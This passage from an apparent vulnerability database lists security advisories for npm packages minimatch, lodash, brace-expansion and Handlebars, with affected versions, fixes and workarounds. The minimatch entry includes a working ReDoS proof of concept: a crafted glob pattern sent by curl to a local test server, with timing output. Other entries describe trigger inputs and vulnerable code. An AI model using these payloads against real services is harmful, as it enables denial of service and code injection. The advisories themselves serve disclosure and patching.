\"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
"id": "GHSA-7r86-cg39-jmmj",
"modified": "2026-02-26T22:10:18Z",
"published": "2026-02-26T22:10:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}
GHSA-F23M-R3PF-42RH
Vulnerability from github – Published: 2026-04-01 23:50 – Updated: 2026-04-01 23:50Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.unset"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2950"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:50:27Z",
"nvd_published_at": "2026-03-31T20:16:26Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\n### Patches\n\nThis issue is patched in 4.18.0.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-f23m-r3pf-42rh",
"modified": "2026-04-01T23:50:27Z",
"published": "2026-04-01T23:50:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`"
}
GHSA-F886-M6HF-6M8V
Vulnerability from github – Published: 2026-03-26 18:29 – Updated: 2026-03-27 21:38Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
test() is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions - 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33750"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:29:42Z",
"nvd_published_at": "2026-03-27T15:16:57Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.\n\nThe loop in question:\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184\n\n`test()` is one of\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113\n\nThe increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.\n\nThis affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.\n\n### Patches\n\n\nUpgrade to versions\n- 5.0.5+\n\nA step increment of 0 is now sanitized to 1, which matches bash behavior.\n\n### Workarounds\n\nSanitize strings passed to `expand()` to ensure a step value of `0` is not used.",
"id": "GHSA-f886-m6hf-6m8v",
"modified": "2026-03-27T21:38:55Z",
"published": "2026-03-26T18:29:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
GHSA-7RX3-28CR-V5WH
Vulnerability from github – Published: 2026-03-29 15:17 – Updated: 2026-03-29 15:17Summary
The prototype method blocklist in lib/handlebars/internal/proto-access.js blocks constructor, __defineGetter__, __defineSetter__, and __lookupGetter__, but omits the symmetric __lookupSetter__. This omission is only exploitable when the non-default runtime option allowProtoMethodsByDefault: true is explicitly set — in that configuration __lookupSetter__ becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.
4.6.0 is the version that introduced protoAccessControl and the allowProtoMethodsByDefault runtime option.
Description
In lib/handlebars/internal/proto-access.js:
const methodWhiteList = Object.create(null);
methodWhiteList['constructor'] = false;
methodWhiteList['__defineGetter__'] = false;
methodWhiteList['__defineSetter__'] = false;
methodWhiteList['__lookupGetter__'] = false;
// __lookupSetter__ intentionally blocked in CVE-2021-23383,
// but omitted here — creating an asymmetric blocklist
All four legacy accessor helpers (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; __lookupSetter__ was left out.
When allowProtoMethodsByDefault: true is set, any prototype method not present in methodWhiteList is permitted by default. Because __lookupSetter__ is absent from the list, it passes the checkWhiteList check and is accessible in templates, while __lookupGetter__ (its sibling) is correctly denied.
Workarounds
- Do not set
allowProtoMethodsByDefault: true. The default configuration is not affected. - If
allowProtoMethodsByDefaultmust be enabled, ensure templates do not reference__lookupSetter__through untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:17:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set \u2014 in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList[\u0027constructor\u0027] = false;\nmethodWhiteList[\u0027__defineGetter__\u0027] = false;\nmethodWhiteList[\u0027__defineSetter__\u0027] = false;\nmethodWhiteList[\u0027__lookupGetter__\u0027] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here \u2014 creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.",
"id": "GHSA-7rx3-28cr-v5wh",
"modified": "2026-03-29T15:17:15Z",
"published": "2026-03-29T15:17:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-765h-qjxv-5f44"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry"
}
GHSA-442J-39WM-28R2
Vulnerability from github – Published: 2026-03-29 15:16 – Updated: 2026-03-29 15:16Summary
In lib/handlebars/runtime.js, the container.lookup() function uses container.lookupProperty() as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (depths[i][name]). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that lookupProperty may perform.
Only relevant when the compat compile option is enabled ({compat: true}), which activates depthedLookup in lib/handlebars/compiler/javascript-compiler.js.
Description
The vulnerable code in lib/handlebars/runtime.js (lines 137–144):
lookup: function (depths, name) {
const len = depths.length;
for (let i = 0; i < len; i++) {
let result = depths[i] && container.lookupProperty(depths[i], name);
if (result != null) {
return depths[i][name]; // BUG: should be `return result;`
}
}
},
container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.
Workarounds
- Avoid enabling
{ compat: true }when rendering templates that include untrusted data. - Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:16:37Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137\u2013144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i \u003c len; i++) {\n let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119\u2013136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate \u2014 if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).",
"id": "GHSA-442j-39wm-28r2",
"modified": "2026-03-29T15:16:37Z",
"published": "2026-03-29T15:16:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has a Property Access Validation Bypass in container.lookup"
}
GHSA-R5FR-RJXR-66JC
Vulnerability from github – Published: 2026-04-01 23:51 – Updated: 2026-04-01 23:51Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches
Users should upgrade to version 4.18.0.
The fix applies two changes:
1. Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option)
2. Replace assignInWith with assignWith when merging imports, so only own properties are enumerated
Workarounds
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.template"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4800"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:51:12Z",
"nvd_published_at": "2026-03-31T20:16:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.\n\nWhen an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.\n\n### Patches\n\nUsers should upgrade to version 4.18.0.\n\nThe fix applies two changes:\n1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)\n2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated\n\n### Workarounds\n\nDo not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.",
"id": "GHSA-r5fr-rjxr-66jc",
"modified": "2026-04-01T23:51:12Z",
"published": "2026-04-01T23:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Code Injection via `_.template` imports key names"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.